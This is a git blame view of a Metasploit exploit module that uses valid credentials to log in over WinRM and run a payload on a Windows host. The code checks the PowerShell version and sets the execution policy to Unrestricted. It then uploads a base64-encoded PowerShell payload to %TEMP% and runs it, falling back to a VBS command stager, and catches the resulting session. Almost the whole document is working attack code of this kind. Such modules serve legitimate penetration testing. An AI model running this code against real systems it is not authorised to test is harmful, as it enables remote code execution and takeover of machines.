Files
metasploit-gs/modules/exploits/windows/winrm/winrm_script_exec.rb
T

238 lines
7.1 KiB
Ruby
Raw Normal View History

2012-11-04 13:14:02 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-11-04 13:14:02 -06:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ManualRanking
include Msf::Exploit::Remote::WinRM
2014-02-07 18:46:19 -06:00
include Msf::Exploit::CmdStager
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'WinRM Script Exec Remote Code Execution',
'Description' => %q{
This module uses valid credentials to login to the WinRM service
and execute a payload. It has two available methods for payload
delivery: Powershell 2.0 and VBS CmdStager.
The module will check if Powershell 2.0 is available, and if so uses
2014-06-28 17:40:49 -04:00
that method. Otherwise it falls back to the VBS CmdStager which is
2013-08-30 16:28:54 -05:00
less stealthy.
IMPORTANT: If targeting an x64 system with the Powershell method
you MUST select an x64 payload. An x86 payload will never return.
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
2016-10-21 12:31:18 -05:00
'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_sleep")
2013-08-30 16:28:54 -05:00
},
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
2013-08-30 16:28:54 -05:00
'Targets' =>
[
[ 'Windows', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 01 2012'
))
register_options(
[
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]),
], self.class
)
2014-06-28 17:40:49 -04:00
deregister_options('CMDSTAGER::FLAVOR')
2013-08-30 16:28:54 -05:00
@compat_mode = false
end
def exploit
unless valid_login?
print_error "Login Failure. Recheck your credentials"
return
end
if powershell2?
path = upload_script
return if path.nil?
exec_script(path)
else
2014-06-28 17:40:49 -04:00
execute_cmdstager({:flavor => :vbs})
2013-08-30 16:28:54 -05:00
end
handler
end
def execute_command(cmd,opts)
commands = cmd.split(/&/)
commands.each do |command|
if command.include? "cscript"
streams = winrm_run_cmd_hanging(command)
print_status streams.inspect
elsif command.include? "del %TEMP%"
next
else
winrm_run_cmd(command)
end
end
end
def upload_script
tdir = temp_dir
return if tdir.nil?
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
#add a sleep to the script to give us enoguh time to establish a session
script << "\n Start-Sleep -s 600"
script.each_line do |psline|
#build our psh command to write out our psh script, meta eh?
script_line = "Add-Content #{path} '#{psline.chomp}' "
cmd = encoded_psh(script_line)
streams = winrm_run_cmd(cmd)
end
return path
end
def exec_script(path)
print_status "Attempting to execute script..."
cmd = "#{@invoke_powershell} -File #{path}"
winrm_run_cmd_hanging(cmd)
end
def encoded_psh(script)
script = script.chars.to_a.join("\x00").chomp
script << "\x00" unless script[-1].eql? "\x00"
script = Rex::Text.encode_base64(script).chomp
cmd = "#{@invoke_powershell} -encodedCommand #{script}"
end
def temp_dir
print_status "Grabbing %TEMP%"
resp = send_winrm_request(winrm_open_shell_msg)
if resp.nil?
print_error "Got no reply from the server"
return nil
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
return nil
end
shell_id = winrm_get_shell_id(resp)
cmd = "echo %TEMP%"
resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id))
cmd_id = winrm_get_cmd_id(resp)
resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id))
streams = winrm_get_cmd_streams(resp)
return streams['stdout'].chomp
end
def check_remote_arch
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
resp = send_winrm_request(winrm_wql_msg(wql))
#Default to x86 if we can't be sure
return ARCH_X86 if resp.nil? or resp.code != 200
2013-08-30 16:28:54 -05:00
resp_tbl = parse_wql_response(resp)
addr_width = resp_tbl.rows.flatten[0]
if addr_width == '64'
return ARCH_X64
2013-08-30 16:28:54 -05:00
else
return ARCH_X86
2013-08-30 16:28:54 -05:00
end
end
def correct_payload_arch?
@target_arch = check_remote_arch
case @target_arch
when ARCH_X64
if datastore['PAYLOAD'].include?(ARCH_X86)
2013-08-30 16:28:54 -05:00
print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
@compat_mode = true
return false
end
when ARCH_X86
if datastore['PAYLOAD'].include?(ARCH_X64)
2013-08-30 16:28:54 -05:00
print_error "you selected an x64 payload for an x86 target"
return false
end
end
return true
end
def powershell2?
if datastore['FORCE_VBS']
print_status "User selected the FORCE_VBS option"
return false
end
print_status "checking for Powershell 2.0"
streams = winrm_run_cmd("powershell Get-Host")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
2017-07-21 07:40:08 -07:00
print_error "Received error while running check"
2013-08-30 16:28:54 -05:00
return false
end
if streams['stderr'].include? "not recognized"
print_error "Powershell is not installed"
return false
end
streams['stdout'].each_line do |line|
next unless line.start_with? "Version"
major_version = line.match(/\d(?=\.)/)[0]
if major_version == "1"
2017-07-21 07:40:08 -07:00
print_error "The target is running an older version of Powershell"
2013-08-30 16:28:54 -05:00
return false
end
end
return false unless correct_payload_arch? or @target_arch == ARCH_X64
2013-08-30 16:28:54 -05:00
if @compat_mode == true
@invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
else
@invoke_powershell = "powershell"
end
print_status "Attempting to set Execution Policy"
streams = winrm_run_cmd("#{@invoke_powershell} Set-ExecutionPolicy Unrestricted")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
2017-07-21 07:40:08 -07:00
print_error "Received error while running check"
2013-08-30 16:28:54 -05:00
return false
end
streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
if streams['stdout'].include? 'Unrestricted'
print_good "Set Execution Policy Successfully"
return true
end
return false
end
def valid_login?
data = winrm_wql_msg("Select Name,Status from Win32_Service")
resp = send_winrm_request(data)
unless resp.code == 200
return false
end
return true
end
2012-11-04 13:14:02 -06:00
end